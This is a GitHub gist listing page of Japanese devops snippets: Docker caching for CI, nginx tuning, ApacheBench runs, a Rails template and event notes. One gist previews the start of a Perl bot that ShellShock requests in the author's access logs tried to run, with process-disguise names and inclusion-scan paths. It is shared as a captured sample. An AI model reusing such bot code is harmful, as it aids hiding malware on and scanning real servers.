Skip to content

Instantly share code, notes, and snippets.

@onigra
onigra / gist:17b06a26356e7cc75c82
Created March 16, 2015 10:11
DockerImageがCircleCIのキャッシュディレクトリにあったらそこからimportし、無かったらS3から取得する
#!/bin/bash
#
# docker imageのキャッシュが存在すればそれを使ってimageをビルドし、
# 無ければDockerfileから作成してキャッシュを残す。
# キャッシュは~/docker配下に保存しておく
#
if [ -e ~/docker/docker_image.tar.gz ]; then
cat ~/docker/docker_image.tar.gz | docker import - ci:latest
else
@onigra
onigra / url.md
Last active August 29, 2015 14:13
アクセスログにあったShellShockを狙ったリクエストが実行しようとしてたスクリプト
#!/usr/bin/perl
=pod
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
$ ab -c 100 -n 100 http://www.exvisionz.jp/
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.exvisionz.jp (be patient).....done
@onigra
onigra / v1.md
Last active August 29, 2015 14:13
Nginxのパフォーマンスチューニング
$ ab -c 20 -n 100 http://192.168.50.7/
@onigra
onigra / gist:ff92467d1107a5b868e1
Last active November 23, 2021 15:34
最終的なnginx.confとビルド時のコマンド
user nginx;
pid /var/run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 8192;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 2048;
multi_accept on;
@onigra
onigra / gist:bebd37d9ea9988ab4919
Created January 6, 2015 03:16
普通のnginx.conf
user nginx;
pid /var/run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 8192;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 2048;
multi_accept on;
@onigra
onigra / rails_template.rb
Last active August 29, 2015 14:06
rails_template
return unless yes?('Use Template?')
gem 'slim-rails', github: 'slim-template/slim-rails'
gem "seed-fu"
gem 'active_model_serializers'
gem_group :development, :test do
gem 'awesome_print'
gem 'factory_girl_rails'
gem 'colorize_unpermitted_parameters'
@onigra
onigra / gist:1cad9b7364e4fac0f059
Created August 30, 2014 14:14
YAPC::Asia 2014 司会用カンペ

運営からのお知らせとお願いです。

1

ベストトーク賞は皆様の投票によってきまりますので、 投票をお願いいたします。

開催日ごとによかったトークを2つずつ投票できます。 昨日投票した人も今日投票することができます。

Array#Indexes

arrayから引数に該当するindexの位置を取得してarrayで返す

require 'indexes'

[1, 2, 3, 1, 2].indexes 1

#=&gt; [0, 3]
Operator Load (5.2ms) SELECT "operators".* FROM "operators" WHERE "operators"."deleted_at" IS NULL
when_started hook failed: NoMethodError: private method `eval' called for nil:NilClass
/Users/yudai/develop/git-svn/2020.suzuki/vendor/bundle/ruby/2.1.0/gems/pry-stack_explorer-0.4.9.1/lib/pry-stack_explorer.rb:109:in `bindings_equal?'
(see _pry_.hooks.errors to debug)